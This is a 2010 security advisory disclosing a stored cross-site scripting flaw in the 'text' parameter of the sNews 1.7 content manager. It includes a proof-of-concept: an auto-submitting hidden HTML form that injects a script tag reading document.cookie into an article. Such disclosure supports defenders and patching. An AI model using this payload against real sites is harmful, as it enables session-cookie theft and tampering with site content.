XSS vulnerability in sNews

Vulnerability ID: HTB22637
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_snews.html
Product: sNews
Vendor: sNews Team ( http://www.snewscms.com/ )
Vulnerable Version: 1.7 and probably prior versions
Vendor Notification: 05 October 2010
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "snews.php" script to properly sanitize user-supplied input in "text" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/?action=process&amp;task=admin_article&amp;id=2&quot; method="post" name="main" >

<input type="hidden" name="title" value="article title" />
<input type="hidden" name="seftitle" value="sefurl" />
<input type="hidden" name="text" value='article text"><script>alert(document.cookie)</script>' />
<input type="hidden" name="define_category" value="1" />
<input type="hidden" name="publish_article" value="on" />
<input type="hidden" name="position" value="1" />
<input type="hidden" name="description_meta" value="desc" />
<input type="hidden" name="keywords_meta" value="key" />
<input type="hidden" name="display_title" value="on" />
<input type="hidden" name="display_info" value="on" />
<input type="hidden" name="fposting_day" value="29" />
<input type="hidden" name="fposting_month" value="9" />
<input type="hidden" name="fposting_year" value="2010" />
<input type="hidden" name="fposting_hour" value="16" />
<input type="hidden" name="fposting_minute" value="40" />
<input type="hidden" name="task" value="admin_article" />
<input type="hidden" name="edit_article" value="Edit" />
<input type="hidden" name="article_category" value="1" />
<input type="hidden" name="id" value="2" />

</form>
<script>
document.main.submit();
</script>